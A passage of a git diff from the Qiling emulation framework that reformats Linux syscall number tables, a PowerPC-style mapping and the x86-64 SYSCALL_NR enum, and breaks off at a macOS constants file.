"stty", - 32: "gtty", - 33: "access", - 34: "nice", - 35: "ftime", - 36: "sync", - 37: "kill", - 38: "rename", - 39: "mkdir", - 40: "rmdir", - 41: "dup", - 42: "pipe", - 43: "times", - 44: "prof", - 45: "brk", - 46: "setgid", - 47: "getgid", - 48: "signal", - 49: "geteuid", - 50: "getegid", - 51: "acct", - 52: "umount2", - 53: "lock", - 54: "ioctl", - 55: "fcntl", - 56: "mpx", - 57: "setpgid", - 58: "ulimit", - 59: "oldolduname", - 60: "umask", - 61: "chroot", - 62: "ustat", - 63: "dup2", - 64: "getppid", - 65: "getpgrp", - 66: "setsid", - 67: "sigaction", - 68: "sgetmask", - 69: "ssetmask", - 70: "setreuid", - 71: "setregid", - 72: "sigsuspend", - 73: "sigpending", - 74: "sethostname", - 75: "setrlimit", - 76: "getrlimit", - 77: "getrusage", - 78: "gettimeofday", - 79: "settimeofday", - 80: "getgroups", - 81: "setgroups", - 82: "select", - 83: "symlink", - 84: "oldlstat", - 85: "readlink", - 86: "uselib", - 87: "swapon", - 88: "reboot", - 89: "readdir", - 90: "mmap", - 91: "munmap", - 92: "truncate", - 93: "ftruncate", - 94: "fchmod", - 95: "fchown", - 96: "getpriority", - 97: "setpriority", - 98: "profil", - 99: "statfs", - 100: "fstatfs", - 101: "ioperm", - 102: "socketcall", - 103: "syslog", - 104: "setitimer", - 105: "getitimer", - 106: "stat", - 107: "lstat", - 108: "fstat", - 109: "olduname", - 110: "iopl", - 111: "vhangup", - 112: "idle", - 113: "vm86", - 114: "wait4", - 115: "swapoff", - 116: "sysinfo", - 117: "ipc", - 118: "fsync", - 119: "sigreturn", - 120: "clone", - 121: "setdomainname", - 122: "uname", - 123: "modify_ldt", - 124: "adjtimex", - 125: "mprotect", - 126: "sigprocmask", - 127: "create_module", - 128: "init_module", - 129: "delete_module", - 130: "get_kernel_syms", - 131: "quotactl", - 132: "getpgid", - 133: "fchdir", - 134: "bdflush", - 135: "sysfs", - 136: "personality", - 137: "afs_syscall", - 138: "setfsuid", - 139: "setfsgid", - 140: "_llseek", - 141: "getdents", - 142: "_newselect", - 143: "flock", - 144: "msync", - 145: "readv", - 146: "writev", - 147: "getsid", - 148: "fdatasync", - 149: "_sysctl", - 150: "mlock", - 151: "munlock", - 152: "mlockall", - 153: "munlockall", - 154: "sched_setparam", - 155: "sched_getparam", - 156: "sched_setscheduler", - 157: "sched_getscheduler", - 158: "sched_yield", - 159: "sched_get_priority_max", - 160: "sched_get_priority_min", - 161: "sched_rr_get_interval", - 162: "nanosleep", - 163: "mremap", - 164: "setresuid", - 165: "getresuid", - 166: "query_module", - 167: "poll", - 168: "nfsservctl", - 169: "setresgid", - 170: "getresgid", - 171: "prctl", - 172: "rt_sigreturn", - 173: "rt_sigaction", - 174: "rt_sigprocmask", - 175: "rt_sigpending", - 176: "rt_sigtimedwait", - 177: "rt_sigqueueinfo", - 178: "rt_sigsuspend", - 179: "pread64", - 180: "pwrite64", - 181: "chown", - 182: "getcwd", - 183: "capget", - 184: "capset", - 185: "sigaltstack", - 186: "sendfile", - 187: "getpmsg", - 188: "putpmsg", - 189: "vfork", - 190: "ugetrlimit", - 191: "readahead", - 192: "mmap2", - 193: "truncate64", - 194: "ftruncate64", - 195: "stat64", - 196: "lstat64", - 197: "fstat64", - 198: "pciconfig_read", - 199: "pciconfig_write", - 200: "pciconfig_iobase", - 201: "multiplexer", - 202: "getdents64", - 203: "pivot_root", - 204: "fcntl64", - 205: "madvise", - 206: "mincore", - 207: "gettid", - 208: "tkill", - 209: "setxattr", - 210: "lsetxattr", - 211: "fsetxattr", - 212: "getxattr", - 213: "lgetxattr", - 214: "fgetxattr", - 215: "listxattr", - 216: "llistxattr", - 217: "flistxattr", - 218: "removexattr", - 219: "lremovexattr", - 220: "fremovexattr", - 221: "futex", - 222: "sched_setaffinity", - 223: "sched_getaffinity", - 225: "tuxcall", - 226: "sendfile64", - 227: "io_setup", - 228: "io_destroy", - 229: "io_getevents", - 230: "io_submit", - 231: "io_cancel", - 232: "set_tid_address", - 233: "fadvise64", - 234: "exit_group", - 235: "lookup_dcookie", - 236: "epoll_create", - 237: "epoll_ctl", - 238: "epoll_wait", - 239: "remap_file_pages", - 240: "timer_create", - 241: "timer_settime", - 242: "timer_gettime", - 243: "timer_getoverrun", - 244: "timer_delete", - 245: "clock_settime", - 246: "clock_gettime", - 247: "clock_getres", - 248: "clock_nanosleep", - 249: "swapcontext", - 250: "tgkill", - 251: "utimes", - 252: "statfs64", - 253: "fstatfs64", - 254: "fadvise64_64", - 255: "rtas", - 256: "sys_debug_setcontext", - 258: "migrate_pages", - 259: "mbind", - 260: "get_mempolicy", - 261: "set_mempolicy", - 262: "mq_open", - 263: "mq_unlink", - 264: "mq_timedsend", - 265: "mq_timedreceive", - 266: "mq_notify", - 267: "mq_getsetattr", - 268: "kexec_load", - 269: "add_key", - 270: "request_key", - 271: "keyctl", - 272: "waitid", - 273: "ioprio_set", - 274: "ioprio_get", - 275: "inotify_init", - 276: "inotify_add_watch", - 277: "inotify_rm_watch", - 278: "spu_run", - 279: "spu_create", - 280: "pselect6", - 281: "ppoll", - 282: "unshare", - 283: "splice", - 284: "tee", - 285: "vmsplice", - 286: "openat", - 287: "mkdirat", - 288: "mknodat", - 289: "fchownat", - 290: "futimesat", - 291: "fstatat64", - 292: "unlinkat", - 293: "renameat", - 294: "linkat", - 295: "symlinkat", - 296: "readlinkat", - 297: "fchmodat", - 298: "faccessat", - 299: "get_robust_list", - 300: "set_robust_list", - 301: "move_pages", - 302: "getcpu", - 303: "epoll_pwait", - 304: "utimensat", - 305: "signalfd", - 306: "timerfd_create", - 307: "eventfd", - 308: "sync_file_range2", - 309: "fallocate", - 310: "subpage_prot", - 311: "timerfd_settime", - 312: "timerfd_gettime", - 313: "signalfd4", - 314: "eventfd2", - 315: "epoll_create1", - 316: "dup3", - 317: "pipe2", - 318: "inotify_init1", - 319: "perf_event_open", - 320: "preadv", - 321: "pwritev", - 322: "rt_tgsigqueueinfo", - 323: "fanotify_init", - 324: "fanotify_mark", - 325: "prlimit64", - 326: "socket", - 327: "bind", - 328: "connect", - 329: "listen", - 330: "accept", - 331: "getsockname", - 332: "getpeername", - 333: "socketpair", - 334: "send", - 335: "sendto", - 336: "recv", - 337: "recvfrom", - 338: "shutdown", - 339: "setsockopt", - 340: "getsockopt", - 341: "sendmsg", - 342: "recvmsg", - 343: "recvmmsg", - 344: "accept4", - 345: "name_to_handle_at", - 346: "open_by_handle_at", - 347: "clock_adjtime", - 348: "syncfs", - 349: "sendmmsg", - 350: "setns", - 351: "process_vm_readv", - 352: "process_vm_writev", - 353: "finit_module", - 354: "kcmp", - 355: "sched_setattr", - 356: "sched_getattr", - 357: "renameat2", - 358: "seccomp", - 359: "getrandom", - 360: "memfd_create", - 361: "bpf", - 362: "execveat", - 363: "switch_endian", - 364: "userfaultfd", - 365: "membarrier", - 378: "mlock2", - 379: "copy_file_range", - 380: "preadv2", - 381: "pwritev2", - 382: "kexec_file_load", - 383: "statx", - 384: "pkey_alloc", - 385: "pkey_free", - 386: "pkey_mprotect", - 387: "rseq", - 388: "io_pgetevents", - 393: "semget", - 394: "semctl", - 395: "shmget", - 396: "shmctl", - 397: "shmat", - 398: "shmdt", - 399: "msgget", - 400: "msgsnd", - 401: "msgrcv", - 402: "msgctl", - 403: "clock_gettime64", - 404: "clock_settime64", - 405: "clock_adjtime64", - 406: "clock_getres_time64", - 407: "clock_nanosleep_time64", - 408: "timer_gettime64", - 409: "timer_settime64", - 410: "timerfd_gettime64", - 411: "timerfd_settime64", - 412: "utimensat_time64", - 413: "pselect6_time64", - 414: "ppoll_time64", - 416: "io_pgetevents_time64", - 417: "recvmmsg_time64", - 418: "mq_timedsend_time64", - 419: "mq_timedreceive_time64", - 420: "semtimedop_time64", - 421: "rt_sigtimedwait_time64", - 422: "futex_time64", - 423: "sched_rr_get_interval_time64", - 424: "pidfd_send_signal", - 425: "io_uring_setup", - 426: "io_uring_enter", - 427: "io_uring_register", - 428: "open_tree", - 429: "move_mount", - 430: "fsopen", - 431: "fsconfig", - 432: "fsmount", - 433: "fspick", + 0: "restart_syscall", + 1: "exit", + 2: "fork", + 3: "read", + 4: "write", + 5: "open", + 6: "close", + 7: "waitpid", + 8: "creat", + 9: "link", + 10: "unlink", + 11: "execve", + 12: "chdir", + 13: "time", + 14: "mknod", + 15: "chmod", + 16: "lchown", + 17: "break", + 18: "oldstat", + 19: "lseek", + 20: "getpid", + 21: "mount", + 22: "umount", + 23: "setuid", + 24: "getuid", + 25: "stime", + 26: "ptrace", + 27: "alarm", + 28: "oldfstat", + 29: "pause", + 30: "utime", + 31: "stty", + 32: "gtty", + 33: "access", + 34: "nice", + 35: "ftime", + 36: "sync", + 37: "kill", + 38: "rename", + 39: "mkdir", + 40: "rmdir", + 41: "dup", + 42: "pipe", + 43: "times", + 44: "prof", + 45: "brk", + 46: "setgid", + 47: "getgid", + 48: "signal", + 49: "geteuid", + 50: "getegid", + 51: "acct", + 52: "umount2", + 53: "lock", + 54: "ioctl", + 55: "fcntl", + 56: "mpx", + 57: "setpgid", + 58: "ulimit", + 59: "oldolduname", + 60: "umask", + 61: "chroot", + 62: "ustat", + 63: "dup2", + 64: "getppid", + 65: "getpgrp", + 66: "setsid", + 67: "sigaction", + 68: "sgetmask", + 69: "ssetmask", + 70: "setreuid", + 71: "setregid", + 72: "sigsuspend", + 73: "sigpending", + 74: "sethostname", + 75: "setrlimit", + 76: "getrlimit", + 77: "getrusage", + 78: "gettimeofday", + 79: "settimeofday", + 80: "getgroups", + 81: "setgroups", + 82: "select", + 83: "symlink", + 84: "oldlstat", + 85: "readlink", + 86: "uselib", + 87: "swapon", + 88: "reboot", + 89: "readdir", + 90: "mmap", + 91: "munmap", + 92: "truncate", + 93: "ftruncate", + 94: "fchmod", + 95: "fchown", + 96: "getpriority", + 97: "setpriority", + 98: "profil", + 99: "statfs", + 100: "fstatfs", + 101: "ioperm", + 102: "socketcall", + 103: "syslog", + 104: "setitimer", + 105: "getitimer", + 106: "stat", + 107: "lstat", + 108: "fstat", + 109: "olduname", + 110: "iopl", + 111: "vhangup", + 112: "idle", + 113: "vm86", + 114: "wait4", + 115: "swapoff", + 116: "sysinfo", + 117: "ipc", + 118: "fsync", + 119: "sigreturn", + 120: "clone", + 121: "setdomainname", + 122: "uname", + 123: "modify_ldt", + 124: "adjtimex", + 125: "mprotect", + 126: "sigprocmask", + 127: "create_module", + 128: "init_module", + 129: "delete_module", + 130: "get_kernel_syms", + 131: "quotactl", + 132: "getpgid", + 133: "fchdir", + 134: "bdflush", + 135: "sysfs", + 136: "personality", + 137: "afs_syscall", + 138: "setfsuid", + 139: "setfsgid", + 140: "_llseek", + 141: "getdents", + 142: "_newselect", + 143: "flock", + 144: "msync", + 145: "readv", + 146: "writev", + 147: "getsid", + 148: "fdatasync", + 149: "_sysctl", + 150: "mlock", + 151: "munlock", + 152: "mlockall", + 153: "munlockall", + 154: "sched_setparam", + 155: "sched_getparam", + 156: "sched_setscheduler", + 157: "sched_getscheduler", + 158: "sched_yield", + 159: "sched_get_priority_max", + 160: "sched_get_priority_min", + 161: "sched_rr_get_interval", + 162: "nanosleep", + 163: "mremap", + 164: "setresuid", + 165: "getresuid", + 166: "query_module", + 167: "poll", + 168: "nfsservctl", + 169: "setresgid", + 170: "getresgid", + 171: "prctl", + 172: "rt_sigreturn", + 173: "rt_sigaction", + 174: "rt_sigprocmask", + 175: "rt_sigpending", + 176: "rt_sigtimedwait", + 177: "rt_sigqueueinfo", + 178: "rt_sigsuspend", + 179: "pread64", + 180: "pwrite64", + 181: "chown", + 182: "getcwd", + 183: "capget", + 184: "capset", + 185: "sigaltstack", + 186: "sendfile", + 187: "getpmsg", + 188: "putpmsg", + 189: "vfork", + 190: "ugetrlimit", + 191: "readahead", + 192: "mmap2", + 193: "truncate64", + 194: "ftruncate64", + 195: "stat64", + 196: "lstat64", + 197: "fstat64", + 198: "pciconfig_read", + 199: "pciconfig_write", + 200: "pciconfig_iobase", + 201: "multiplexer", + 202: "getdents64", + 203: "pivot_root", + 204: "fcntl64", + 205: "madvise", + 206: "mincore", + 207: "gettid", + 208: "tkill", + 209: "setxattr", + 210: "lsetxattr", + 211: "fsetxattr", + 212: "getxattr", + 213: "lgetxattr", + 214: "fgetxattr", + 215: "listxattr", + 216: "llistxattr", + 217: "flistxattr", + 218: "removexattr", + 219: "lremovexattr", + 220: "fremovexattr", + 221: "futex", + 222: "sched_setaffinity", + 223: "sched_getaffinity", + 225: "tuxcall", + 226: "sendfile64", + 227: "io_setup", + 228: "io_destroy", + 229: "io_getevents", + 230: "io_submit", + 231: "io_cancel", + 232: "set_tid_address", + 233: "fadvise64", + 234: "exit_group", + 235: "lookup_dcookie", + 236: "epoll_create", + 237: "epoll_ctl", + 238: "epoll_wait", + 239: "remap_file_pages", + 240: "timer_create", + 241: "timer_settime", + 242: "timer_gettime", + 243: "timer_getoverrun", + 244: "timer_delete", + 245: "clock_settime", + 246: "clock_gettime", + 247: "clock_getres", + 248: "clock_nanosleep", + 249: "swapcontext", + 250: "tgkill", + 251: "utimes", + 252: "statfs64", + 253: "fstatfs64", + 254: "fadvise64_64", + 255: "rtas", + 256: "sys_debug_setcontext", + 258: "migrate_pages", + 259: "mbind", + 260: "get_mempolicy", + 261: "set_mempolicy", + 262: "mq_open", + 263: "mq_unlink", + 264: "mq_timedsend", + 265: "mq_timedreceive", + 266: "mq_notify", + 267: "mq_getsetattr", + 268: "kexec_load", + 269: "add_key", + 270: "request_key", + 271: "keyctl", + 272: "waitid", + 273: "ioprio_set", + 274: "ioprio_get", + 275: "inotify_init", + 276: "inotify_add_watch", + 277: "inotify_rm_watch", + 278: "spu_run", + 279: "spu_create", + 280: "pselect6", + 281: "ppoll", + 282: "unshare", + 283: "splice", + 284: "tee", + 285: "vmsplice", + 286: "openat", + 287: "mkdirat", + 288: "mknodat", + 289: "fchownat", + 290: "futimesat", + 291: "fstatat64", + 292: "unlinkat", + 293: "renameat", + 294: "linkat", + 295: "symlinkat", + 296: "readlinkat", + 297: "fchmodat", + 298: "faccessat", + 299: "get_robust_list", + 300: "set_robust_list", + 301: "move_pages", + 302: "getcpu", + 303: "epoll_pwait", + 304: "utimensat", + 305: "signalfd", + 306: "timerfd_create", + 307: "eventfd", + 308: "sync_file_range2", + 309: "fallocate", + 310: "subpage_prot", + 311: "timerfd_settime", + 312: "timerfd_gettime", + 313: "signalfd4", + 314: "eventfd2", + 315: "epoll_create1", + 316: "dup3", + 317: "pipe2", + 318: "inotify_init1", + 319: "perf_event_open", + 320: "preadv", + 321: "pwritev", + 322: "rt_tgsigqueueinfo", + 323: "fanotify_init", + 324: "fanotify_mark", + 325: "prlimit64", + 326: "socket", + 327: "bind", + 328: "connect", + 329: "listen", + 330: "accept", + 331: "getsockname", + 332: "getpeername", + 333: "socketpair", + 334: "send", + 335: "sendto", + 336: "recv", + 337: "recvfrom", + 338: "shutdown", + 339: "setsockopt", + 340: "getsockopt", + 341: "sendmsg", + 342: "recvmsg", + 343: "recvmmsg", + 344: "accept4", + 345: "name_to_handle_at", + 346: "open_by_handle_at", + 347: "clock_adjtime", + 348: "syncfs", + 349: "sendmmsg", + 350: "setns", + 351: "process_vm_readv", + 352: "process_vm_writev", + 353: "finit_module", + 354: "kcmp", + 355: "sched_setattr", + 356: "sched_getattr", + 357: "renameat2", + 358: "seccomp", + 359: "getrandom", + 360: "memfd_create", + 361: "bpf", + 362: "execveat", + 363: "switch_endian", + 364: "userfaultfd", + 365: "membarrier", + 378: "mlock2", + 379: "copy_file_range", + 380: "preadv2", + 381: "pwritev2", + 382: "kexec_file_load", + 383: "statx", + 384: "pkey_alloc", + 385: "pkey_free", + 386: "pkey_mprotect", + 387: "rseq", + 388: "io_pgetevents", + 393: "semget", + 394: "semctl", + 395: "shmget", + 396: "shmctl", + 397: "shmat", + 398: "shmdt", + 399: "msgget", + 400: "msgsnd", + 401: "msgrcv", + 402: "msgctl", + 403: "clock_gettime64", + 404: "clock_settime64", + 405: "clock_adjtime64", + 406: "clock_getres_time64", + 407: "clock_nanosleep_time64", + 408: "timer_gettime64", + 409: "timer_settime64", + 410: "timerfd_gettime64", + 411: "timerfd_settime64", + 412: "utimensat_time64", + 413: "pselect6_time64", + 414: "ppoll_time64", + 416: "io_pgetevents_time64", + 417: "recvmmsg_time64", + 418: "mq_timedsend_time64", + 419: "mq_timedreceive_time64", + 420: "semtimedop_time64", + 421: "rt_sigtimedwait_time64", + 422: "futex_time64", + 423: "sched_rr_get_interval_time64", + 424: "pidfd_send_signal", + 425: "io_uring_setup", + 426: "io_uring_enter", + 427: "io_uring_register", + 428: "open_tree", + 429: "move_mount", + 430: "fsopen", + 431: "fsconfig", + 432: "fsmount", + 433: "fspick", } diff --git a/qiling/os/linux/syscall_nums.py b/qiling/os/linux/syscall_nums.py index a5672e523..fc7037a6a 100644 --- a/qiling/os/linux/syscall_nums.py +++ b/qiling/os/linux/syscall_nums.py @@ -7,336 +7,336 @@ # Linux syscall numbers class SYSCALL_NR(IntEnum): - read = 0 - write = 1 - open = 2 - close = 3 - stat = 4 - fstat = 5 - lstat = 6 - poll = 7 - lseek = 8 - mmap = 9 - mprotect = 10 - munmap = 11 - brk = 12 - rt_sigaction = 13 - rt_sigprocmask = 14 - rt_sigreturn = 15 - ioctl = 16 - pread64 = 17 - pwrite64 = 18 - readv = 19 - writev = 20 - access = 21 - pipe = 22 - select = 23 - sched_yield = 24 - mremap = 25 - msync = 26 - mincore = 27 - madvise = 28 - shmget = 29 - shmat = 30 - shmctl = 31 - dup = 32 - dup2 = 33 - pause = 34 - nanosleep = 35 - getitimer = 36 - alarm = 37 - setitimer = 38 - getpid = 39 - sendfile = 40 - socket = 41 - connect = 42 - accept = 43 - sendto = 44 - recvfrom = 45 - sendmsg = 46 - recvmsg = 47 - shutdown = 48 - bind = 49 - listen = 50 - getsockname = 51 - getpeername = 52 - socketpair = 53 - setsockopt = 54 - getsockopt = 55 - clone = 56 - fork = 57 - vfork = 58 - execve = 59 - exit = 60 - wait4 = 61 - kill = 62 - uname = 63 - semget = 64 - semop = 65 - semctl = 66 - shmdt = 67 - msgget = 68 - msgsnd = 69 - msgrcv = 70 - msgctl = 71 - fcntl = 72 - flock = 73 - fsync = 74 - fdatasync = 75 - truncate = 76 - ftruncate = 77 - getdents = 78 - getcwd = 79 - chdir = 80 - fchdir = 81 - rename = 82 - mkdir = 83 - rmdir = 84 - creat = 85 - link = 86 - unlink = 87 - symlink = 88 - readlink = 89 - chmod = 90 - fchmod = 91 - chown = 92 - fchown = 93 - lchown = 94 - umask = 95 - gettimeofday = 96 - getrlimit = 97 - getrusage = 98 - sysinfo = 99 - times = 100 - ptrace = 101 - getuid = 102 - syslog = 103 - getgid = 104 - setuid = 105 - setgid = 106 - geteuid = 107 - getegid = 108 - setpgid = 109 - getppid = 110 - getpgrp = 111 - setsid = 112 - setreuid = 113 - setregid = 114 - getgroups = 115 - setgroups = 116 - setresuid = 117 - getresuid = 118 - setresgid = 119 - getresgid = 120 - getpgid = 121 - setfsuid = 122 - setfsgid = 123 - getsid = 124 - capget = 125 - capset = 126 - rt_sigpending = 127 - rt_sigtimedwait = 128 - rt_sigqueueinfo = 129 - rt_sigsuspend = 130 - sigaltstack = 131 - utime = 132 - mknod = 133 - uselib = 134 - personality = 135 - ustat = 136 - statfs = 137 - fstatfs = 138 - sysfs = 139 - getpriority = 140 - setpriority = 141 - sched_setparam = 142 - sched_getparam = 143 - sched_setscheduler = 144 - sched_getscheduler = 145 - sched_get_priority_max = 146 - sched_get_priority_min = 147 - sched_rr_get_interval = 148 - mlock = 149 - munlock = 150 - mlockall = 151 - munlockall = 152 - vhangup = 153 - modify_ldt = 154 - pivot_root = 155 - _sysctl = 156 - prctl = 157 - arch_prctl = 158 - adjtimex = 159 - setrlimit = 160 - chroot = 161 - sync = 162 - acct = 163 - settimeofday = 164 - mount = 165 - umount2 = 166 - swapon = 167 - swapoff = 168 - reboot = 169 - sethostname = 170 - setdomainname = 171 - iopl = 172 - ioperm = 173 - create_module = 174 - init_module = 175 - delete_module = 176 - get_kernel_syms = 177 - query_module = 178 - quotactl = 179 - nfsservctl = 180 - getpmsg = 181 - putpmsg = 182 - afs_syscall = 183 - tuxcall = 184 - security = 185 - gettid = 186 - readahead = 187 - setxattr = 188 - lsetxattr = 189 - fsetxattr = 190 - getxattr = 191 - lgetxattr = 192 - fgetxattr = 193 - listxattr = 194 - llistxattr = 195 - flistxattr = 196 - removexattr = 197 - lremovexattr = 198 - fremovexattr = 199 - tkill = 200 - time = 201 - futex = 202 - sched_setaffinity = 203 - sched_getaffinity = 204 - set_thread_area = 205 - io_setup = 206 - io_destroy = 207 - io_getevents = 208 - io_submit = 209 - io_cancel = 210 - get_thread_area = 211 - lookup_dcookie = 212 - epoll_create = 213 - epoll_ctl_old = 214 - epoll_wait_old = 215 - remap_file_pages = 216 - getdents64 = 217 - set_tid_address = 218 - restart_syscall = 219 - semtimedop = 220 - fadvise64 = 221 - timer_create = 222 - timer_settime = 223 - timer_gettime = 224 - timer_getoverrun = 225 - timer_delete = 226 - clock_settime = 227 - clock_gettime = 228 - clock_getres = 229 - clock_nanosleep = 230 - exit_group = 231 - epoll_wait = 232 - epoll_ctl = 233 - tgkill = 234 - utimes = 235 - vserver = 236 - mbind = 237 - set_mempolicy = 238 - get_mempolicy = 239 - mq_open = 240 - mq_unlink = 241 - mq_timedsend = 242 - mq_timedreceive = 243 - mq_notify = 244 - mq_getsetattr = 245 - kexec_load = 246 - waitid = 247 - add_key = 248 - request_key = 249 - keyctl = 250 - ioprio_set = 251 - ioprio_get = 252 - inotify_init = 253 - inotify_add_watch = 254 - inotify_rm_watch = 255 - migrate_pages = 256 - openat = 257 - mkdirat = 258 - mknodat = 259 - fchownat = 260 - futimesat = 261 - newfstatat = 262 - unlinkat = 263 - renameat = 264 - linkat = 265 - symlinkat = 266 - readlinkat = 267 - fchmodat = 268 - faccessat = 269 - pselect6 = 270 - ppoll = 271 - unshare = 272 - set_robust_list = 273 - get_robust_list = 274 - splice = 275 - tee = 276 - sync_file_range = 277 - vmsplice = 278 - move_pages = 279 - utimensat = 280 - epoll_pwait = 281 - signalfd = 282 - timerfd_create = 283 - eventfd = 284 - fallocate = 285 - timerfd_settime = 286 - timerfd_gettime = 287 - accept4 = 288 - signalfd4 = 289 - eventfd2 = 290 - epoll_create1 = 291 - dup3 = 292 - pipe2 = 293 - inotify_init1 = 294 - preadv = 295 - pwritev = 296 - rt_tgsigqueueinfo = 297 - perf_event_open = 298 - recvmmsg = 299 - fanotify_init = 300 - fanotify_mark = 301 - prlimit64 = 302 - name_to_handle_at = 303 - open_by_handle_at = 304 - clock_adjtime = 305 - syncfs = 306 - sendmmsg = 307 - setns = 308 - getcpu = 309 - process_vm_readv = 310 - process_vm_writev = 311 - kcmp = 312 - finit_module = 313 - sched_setattr = 314 - sched_getattr = 315 - renameat2 = 316 - seccomp = 317 - getrandom = 318 - memfd_create = 319 - kexec_file_load = 320 - bpf = 321 - execveat = 322 - userfaultfd = 323 - membarrier = 324 - mlock2 = 325 - copy_file_range = 326 - preadv2 = 327 - pwritev2 = 328 - pkey_mprotect = 329 - pkey_alloc = 330 - pkey_free = 331 - statx = 332 + read = 0 + write = 1 + open = 2 + close = 3 + stat = 4 + fstat = 5 + lstat = 6 + poll = 7 + lseek = 8 + mmap = 9 + mprotect = 10 + munmap = 11 + brk = 12 + rt_sigaction = 13 + rt_sigprocmask = 14 + rt_sigreturn = 15 + ioctl = 16 + pread64 = 17 + pwrite64 = 18 + readv = 19 + writev = 20 + access = 21 + pipe = 22 + select = 23 + sched_yield = 24 + mremap = 25 + msync = 26 + mincore = 27 + madvise = 28 + shmget = 29 + shmat = 30 + shmctl = 31 + dup = 32 + dup2 = 33 + pause = 34 + nanosleep = 35 + getitimer = 36 + alarm = 37 + setitimer = 38 + getpid = 39 + sendfile = 40 + socket = 41 + connect = 42 + accept = 43 + sendto = 44 + recvfrom = 45 + sendmsg = 46 + recvmsg = 47 + shutdown = 48 + bind = 49 + listen = 50 + getsockname = 51 + getpeername = 52 + socketpair = 53 + setsockopt = 54 + getsockopt = 55 + clone = 56 + fork = 57 + vfork = 58 + execve = 59 + exit = 60 + wait4 = 61 + kill = 62 + uname = 63 + semget = 64 + semop = 65 + semctl = 66 + shmdt = 67 + msgget = 68 + msgsnd = 69 + msgrcv = 70 + msgctl = 71 + fcntl = 72 + flock = 73 + fsync = 74 + fdatasync = 75 + truncate = 76 + ftruncate = 77 + getdents = 78 + getcwd = 79 + chdir = 80 + fchdir = 81 + rename = 82 + mkdir = 83 + rmdir = 84 + creat = 85 + link = 86 + unlink = 87 + symlink = 88 + readlink = 89 + chmod = 90 + fchmod = 91 + chown = 92 + fchown = 93 + lchown = 94 + umask = 95 + gettimeofday = 96 + getrlimit = 97 + getrusage = 98 + sysinfo = 99 + times = 100 + ptrace = 101 + getuid = 102 + syslog = 103 + getgid = 104 + setuid = 105 + setgid = 106 + geteuid = 107 + getegid = 108 + setpgid = 109 + getppid = 110 + getpgrp = 111 + setsid = 112 + setreuid = 113 + setregid = 114 + getgroups = 115 + setgroups = 116 + setresuid = 117 + getresuid = 118 + setresgid = 119 + getresgid = 120 + getpgid = 121 + setfsuid = 122 + setfsgid = 123 + getsid = 124 + capget = 125 + capset = 126 + rt_sigpending = 127 + rt_sigtimedwait = 128 + rt_sigqueueinfo = 129 + rt_sigsuspend = 130 + sigaltstack = 131 + utime = 132 + mknod = 133 + uselib = 134 + personality = 135 + ustat = 136 + statfs = 137 + fstatfs = 138 + sysfs = 139 + getpriority = 140 + setpriority = 141 + sched_setparam = 142 + sched_getparam = 143 + sched_setscheduler = 144 + sched_getscheduler = 145 + sched_get_priority_max = 146 + sched_get_priority_min = 147 + sched_rr_get_interval = 148 + mlock = 149 + munlock = 150 + mlockall = 151 + munlockall = 152 + vhangup = 153 + modify_ldt = 154 + pivot_root = 155 + _sysctl = 156 + prctl = 157 + arch_prctl = 158 + adjtimex = 159 + setrlimit = 160 + chroot = 161 + sync = 162 + acct = 163 + settimeofday = 164 + mount = 165 + umount2 = 166 + swapon = 167 + swapoff = 168 + reboot = 169 + sethostname = 170 + setdomainname = 171 + iopl = 172 + ioperm = 173 + create_module = 174 + init_module = 175 + delete_module = 176 + get_kernel_syms = 177 + query_module = 178 + quotactl = 179 + nfsservctl = 180 + getpmsg = 181 + putpmsg = 182 + afs_syscall = 183 + tuxcall = 184 + security = 185 + gettid = 186 + readahead = 187 + setxattr = 188 + lsetxattr = 189 + fsetxattr = 190 + getxattr = 191 + lgetxattr = 192 + fgetxattr = 193 + listxattr = 194 + llistxattr = 195 + flistxattr = 196 + removexattr = 197 + lremovexattr = 198 + fremovexattr = 199 + tkill = 200 + time = 201 + futex = 202 + sched_setaffinity = 203 + sched_getaffinity = 204 + set_thread_area = 205 + io_setup = 206 + io_destroy = 207 + io_getevents = 208 + io_submit = 209 + io_cancel = 210 + get_thread_area = 211 + lookup_dcookie = 212 + epoll_create = 213 + epoll_ctl_old = 214 + epoll_wait_old = 215 + remap_file_pages = 216 + getdents64 = 217 + set_tid_address = 218 + restart_syscall = 219 + semtimedop = 220 + fadvise64 = 221 + timer_create = 222 + timer_settime = 223 + timer_gettime = 224 + timer_getoverrun = 225 + timer_delete = 226 + clock_settime = 227 + clock_gettime = 228 + clock_getres = 229 + clock_nanosleep = 230 + exit_group = 231 + epoll_wait = 232 + epoll_ctl = 233 + tgkill = 234 + utimes = 235 + vserver = 236 + mbind = 237 + set_mempolicy = 238 + get_mempolicy = 239 + mq_open = 240 + mq_unlink = 241 + mq_timedsend = 242 + mq_timedreceive = 243 + mq_notify = 244 + mq_getsetattr = 245 + kexec_load = 246 + waitid = 247 + add_key = 248 + request_key = 249 + keyctl = 250 + ioprio_set = 251 + ioprio_get = 252 + inotify_init = 253 + inotify_add_watch = 254 + inotify_rm_watch = 255 + migrate_pages = 256 + openat = 257 + mkdirat = 258 + mknodat = 259 + fchownat = 260 + futimesat = 261 + newfstatat = 262 + unlinkat = 263 + renameat = 264 + linkat = 265 + symlinkat = 266 + readlinkat = 267 + fchmodat = 268 + faccessat = 269 + pselect6 = 270 + ppoll = 271 + unshare = 272 + set_robust_list = 273 + get_robust_list = 274 + splice = 275 + tee = 276 + sync_file_range = 277 + vmsplice = 278 + move_pages = 279 + utimensat = 280 + epoll_pwait = 281 + signalfd = 282 + timerfd_create = 283 + eventfd = 284 + fallocate = 285 + timerfd_settime = 286 + timerfd_gettime = 287 + accept4 = 288 + signalfd4 = 289 + eventfd2 = 290 + epoll_create1 = 291 + dup3 = 292 + pipe2 = 293 + inotify_init1 = 294 + preadv = 295 + pwritev = 296 + rt_tgsigqueueinfo = 297 + perf_event_open = 298 + recvmmsg = 299 + fanotify_init = 300 + fanotify_mark = 301 + prlimit64 = 302 + name_to_handle_at = 303 + open_by_handle_at = 304 + clock_adjtime = 305 + syncfs = 306 + sendmmsg = 307 + setns = 308 + getcpu = 309 + process_vm_readv = 310 + process_vm_writev = 311 + kcmp = 312 + finit_module = 313 + sched_setattr = 314 + sched_getattr = 315 + renameat2 = 316 + seccomp = 317 + getrandom = 318 + memfd_create = 319 + kexec_file_load = 320 + bpf = 321 + execveat = 322 + userfaultfd = 323 + membarrier = 324 + mlock2 = 325 + copy_file_range = 326 + preadv2 = 327 + pwritev2 = 328 + pkey_mprotect = 329 + pkey_alloc = 330 + pkey_free = 331 + statx = 332 diff --git a/qiling/os/macos/const.py b/qiling/os/macos/const.py index 46c5b9a40..e3799f014 100644 --- a/qiling/os/macos/const.py +++ 